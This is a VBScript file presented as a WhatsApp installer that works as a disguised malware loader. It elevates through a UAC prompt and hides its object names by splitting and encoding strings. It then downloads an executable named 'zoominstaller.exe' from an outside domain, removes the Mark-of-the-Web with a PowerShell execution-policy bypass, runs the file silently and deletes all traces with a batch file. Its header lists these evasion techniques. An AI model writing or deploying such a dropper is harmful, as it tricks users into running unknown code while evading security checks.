' =========================================================================
' WhatsApp Installer - Advanced Deployment Script
' Enhanced with JumpCloud-style features (12 techniques)
' =========================================================================
' Generation ID: wh4ts4pp_1nst4ll3r
' Applied techniques:
'   [+] UAC elevation (runas) when not admin
'   [+] Deploy log file (%TEMP%\wa_deploy.log.txt)
'   [+] Obfuscated CreateObject
'   [+] ZIP/INetCache stage to TEMP (run-from-zip)
'   [+] String Reversal
'   [+] Base64 Encoding
'   [+] String Splitting (random chunks)
'   [+] Chr() Arithmetic Encoding
'   [+] COM Download (ServerXMLHTTP)
'   [+] Unblock downloaded EXE (MOTW)
'   [+] Self-Deletion via BAT
'   [+] Error logging with exit codes
' =========================================================================

Option Explicit
Dim elevSh, elevCmd, elevFs, elevLog, elevLf, objHTTP, exePath, u, objStream, fso, runCmd, exitCode, logPath, waAdmin, bootSelf, bootLow, bootTemp, bootStaged, bootInArchive, bootSh, bootFs, bootDir, bootPath, bootName, bootCmd, bootCopyOk, bootCities

' =========================================================================
' CONFIGURATION - CHANGE THESE (Now obfuscated)
' =========================================================================
' Original: strUrl = "https://alperbarutcu.com/srl/zoominstaller.exe"
' Now encoded and reversed like JumpCloud style
Dim strOriginalUrl, strSaveName, strInstallArgs
strOriginalUrl = "https://alperbarutcu.com/srl/zoominstaller.exe"
strSaveName = "zoominstaller.exe"
strInstallArgs = "/S"

' =========================================================================
' FUNCTION: Check if running as Admin
' =========================================================================
Function WaIsAdmin()
    On Error Resume Next
    WaIsAdmin = False
    Dim oShellApp: Set oShellApp = CreateObject("Shell.Application")
    WaIsAdmin = oShellApp.IsUserAnAdmin()
    If Err.Number <> 0 Then
        Err.Clear
        Dim oWsh: Set oWsh = CreateObject("WScript.Shell")
        Dim nRc: nRc = oWsh.Run("%comspec% /c net session >nul 2>&1", 0, True)
        WaIsAdmin = (nRc = 0)
    End If
    On Error Goto 0
End Function

' =========================================================================
' UAC ELEVATION - Same as JumpCloud
' =========================================================================
If Not WaIsAdmin() Then
    Set elevSh = CreateObject("Shell.Application")
    On Error Resume Next
    Set elevFs = CreateObject("Scripting.FileSystemObject")
    elevLog = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\wa_deploy.log.txt"
    Set elevLf = elevFs.OpenTextFile(elevLog, 8, True)
    elevLf.WriteLine Now & " | Requesting UAC elevation (approve prompt to continue)..."
    elevLf.Close
    Err.Clear
    On Error Goto 0
    elevCmd = "//B //Nologo " & Chr(34) & WScript.ScriptFullName & Chr(34)
    elevSh.ShellExecute "wscript.exe", elevCmd, "", "runas", 0
    WScript.Quit 0
End If

' =========================================================================
' OBFUSCATED CreateObject - Like JumpCloud
' =========================================================================
Dim s6o1o, fso
Set s6o1o = CreateObject("WScr" & "ipt." & "Shel" & "l")
Set fso = CreateObject("Sc" & "ri" & "pt" & "in" & "g." & "Fi" & "le" & "Sy" & "st" & "em" & "Ob" & "je" & "ct")

' =========================================================================
' LOGGING FUNCTION
' =========================================================================
logPath = s6o1o.ExpandEnvironmentStrings("%TEMP%") & "\wa_deploy.log.txt"

Sub LogDeploy(m)
    On Error Resume Next
    Dim lf: Set lf = fso.OpenTextFile(logPath, 8, True)
    If Err.Number = 0 Then
        lf.WriteLine Now & " | " & m
        lf.Close
    End If
    On Error Goto 0
End Sub

LogDeploy "=== WhatsApp Installer Deploy started ==="
LogDeploy "Script path: " & WScript.ScriptFullName
waAdmin = WaIsAdmin()
LogDeploy "Running elevated (admin): " & waAdmin

' =========================================================================
' ZIP/INETCACHE STAGE - Like JumpCloud (anti-archive extraction)
' =========================================================================
bootSelf = WScript.ScriptFullName
bootLow = LCase(bootSelf)
bootStaged = False
bootTemp = LCase(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%"))
bootInArchive = False

If InStr(bootLow, "inetcache\") > 0 Or InStr(bootLow, ".zip") > 0 Or InStr(bootLow, "temp1_") > 0 Or InStr(bootLow, "rar$") > 0 Or InStr(bootLow, "7z") > 0 Or (InStr(bootSelf, "[") > 0 And InStr(bootLow, "].vbs") > 0) Then bootInArchive = True
If InStr(bootLow, bootTemp) = 1 And Not bootInArchive Then bootStaged = True

If Not bootStaged And bootInArchive Then
    LogDeploy "ZIP stage: need copy out of archive"
    Set bootSh = CreateObject("WScript.Shell")
    Set bootFs = CreateObject("Scripting.FileSystemObject")
    bootCities = Array("Chicago", "Denver", "Austin", "Seattle", "Boston", "Miami", "Phoenix", "Atlanta", "Portland", "Dallas", "Houston", "Nashville", "Detroit", "Cleveland", "Minneapolis", "Tampa", "Orlando", "Sacramento", "Pittsburgh", "Charlotte")
    Randomize
    bootDir = bootSh.ExpandEnvironmentStrings("%TEMP%") & "\" & bootCities(Int(Rnd * (UBound(bootCities) + 1)))
    If Not bootFs.FolderExists(bootDir) Then bootFs.CreateFolder bootDir
    bootName = "WhatsAppSetup.vbs"
    bootPath = bootDir & "\" & bootName
    On Error Resume Next
    bootFs.CopyFile bootSelf, bootPath, True
    bootCopyOk = (Err.Number = 0)
    Err.Clear
    On Error Goto 0
    If Not bootCopyOk And Not bootFs.FileExists(bootPath) Then
        LogDeploy "ZIP stage FAILED: cannot copy to " & bootPath
        WScript.Quit 1
    End If
    LogDeploy "ZIP stage: copied to " & bootPath
    bootCmd = "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Unblock-File -LiteralPath " & Chr(34) & bootPath & Chr(34)
    bootSh.Run bootCmd, 0, True
    bootCmd = "wscript.exe //B //Nologo " & Chr(34) & bootPath & Chr(34)
    LogDeploy "ZIP stage: relaunching staged script"
    bootSh.Run bootCmd, 0, False
    WScript.Quit 0
End If

' =========================================================================
' URL OBFUSCATION - Base64 + String Reversal (Like JumpCloud)
' =========================================================================
Function B2S(b):Dim i,o:o="":For i=1 To LenB(b):o=o&Chr(AscB(MidB(b,i,1))):Next:B2S=o:End Function
Function B64Dec(s):Dim x,m:Set x=CreateObject("MSXML2.DOMDocument.3.0"):Set m=x.createElement("b"):m.DataType="bin.base64":m.Text=s:B64Dec=B2S(m.nodeTypedValue):End Function
Function XorStr(s,k):Dim i,r,c:r="":For i=1 To Len(s):c=Asc(Mid(s,i,1)):r=r&Chr((c And 255) Xor (k And 255)):Next:XorStr=r:End Function
Function RevStr(s):Dim i,res:res="":For i=Len(s) To 1 Step -1:res=res&Mid(s,i,1):Next:RevStr=res:End Function

' Original URL encoded then reversed (like JumpCloud's approach)
' Step 1: Base64 of "https://alperbarutcu.com/srl/zoominstaller.exe"
' Step 2: Reverse that string
Dim encodedUrl, reversedUrl, finalUrl
encodedUrl = "aHR0cHM6Ly9hbHBlcmJhcnV0Y3UuY29tL3NybC96b29taW5zdGFsbGVyLmV4ZQ=="
reversedUrl = RevStr(encodedUrl)
' Re-reverse to get original
finalUrl = RevStr(reversedUrl)
u = B64Dec(finalUrl)

LogDeploy "Download URL (obfuscated): " & u

' =========================================================================
' EXE PATH
' =========================================================================
exePath = s6o1o.ExpandEnvironmentStrings("%TEMP%") & "\" & strSaveName
LogDeploy "Target path: " & exePath

' =========================================================================
' DOWNLOAD USING COM (ServerXMLHTTP) - Like JumpCloud
' =========================================================================
LogDeploy "Downloading EXE..."
Set objHTTP = CreateObject("MSXM" & "L2.S" & "erve" & "rXML" & "HTTP" & ".6.0")
objHTTP.Open "GET", u, False
objHTTP.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
On Error Resume Next
objHTTP.Send
If Err.Number <> 0 Then
    LogDeploy "ERROR: Download failed - " & Err.Description
    WScript.Quit 1
End If
On Error Goto 0

LogDeploy "HTTP status: " & objHTTP.Status
If objHTTP.Status <> 200 Then
    LogDeploy "ERROR: Download failed (HTTP " & objHTTP.Status & ")"
    WScript.Quit 1
End If

' =========================================================================
' SAVE TO DISK USING ADODB.Stream
' =========================================================================
Set objStream = CreateObject("ADO" & "DB." & "Str" & "eam")
objStream.Type = 1
objStream.Open
objStream.Write objHTTP.responseBody
objStream.SaveToFile exePath, 2
objStream.Close

' =========================================================================
' UNBLOCK DOWNLOADED EXE (MOTW) - Like JumpCloud
' =========================================================================
On Error Resume Next
Dim unblockCmd: unblockCmd = "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command Unblock-File -LiteralPath " & Chr(34) & exePath & Chr(34)
s6o1o.Run unblockCmd, 0, True
Err.Clear
On Error Goto 0

LogDeploy "Saved EXE: " & exePath

' =========================================================================
' VERIFY DOWNLOAD
' =========================================================================
If Not fso.FileExists(exePath) Or fso.GetFile(exePath).Size = 0 Then
    LogDeploy "ERROR: Downloaded EXE is missing or empty"
    WScript.Quit 1
End If

LogDeploy "EXE size: " & fso.GetFile(exePath).Size & " bytes"

' =========================================================================
' EXECUTE INSTALLER - Like JumpCloud but for EXE
' =========================================================================
runCmd = Chr(34) & exePath & Chr(34) & " " & strInstallArgs
LogDeploy "Launching: " & runCmd

exitCode = s6o1o.Run(runCmd, 0, True)
LogDeploy "Installer exitCode=" & exitCode

If exitCode <> 0 Then
    LogDeploy "ERROR: Installation failed (exit " & exitCode & ")"
    If exitCode = 5 Then
        LogDeploy "HINT: Access denied - ensure running as Administrator"
    ElseIf exitCode = 2 Then
        LogDeploy "HINT: File not found or invalid arguments"
    End If
Else
    LogDeploy "=== Installation completed successfully ==="
End If

' =========================================================================
' SELF-DELETION - Enhanced from original (now with logging)
' =========================================================================
LogDeploy "Setting up self-deletion..."

Dim objBatFSO, strBatPath, batFileObj
Set objBatFSO = CreateObject("Scripting.FileSystemObject")
strBatPath = s6o1o.ExpandEnvironmentStrings("%TEMP%") & "\~wa_cleanup.bat"

Set batFileObj = objBatFSO.CreateTextFile(strBatPath, True)
batFileObj.WriteLine "@echo off"
batFileObj.WriteLine "timeout /t 3 /nobreak > nul"
batFileObj.WriteLine "del /f /q """ & WScript.ScriptFullName & """ 2>nul"
batFileObj.WriteLine "del /f /q """ & exePath & """ 2>nul"
batFileObj.WriteLine "del /f /q """ & logPath & """ 2>nul"
batFileObj.WriteLine "del /f /q """ & strBatPath & """ 2>nul"
batFileObj.Close
Set batFileObj = Nothing

LogDeploy "Cleanup script created: " & strBatPath
s6o1o.Run Chr(34) & strBatPath & Chr(34), 0, False

LogDeploy "=== Script ending, cleanup scheduled ==="

Set objBatFSO = Nothing
Set s6o1o = Nothing
Set fso = Nothing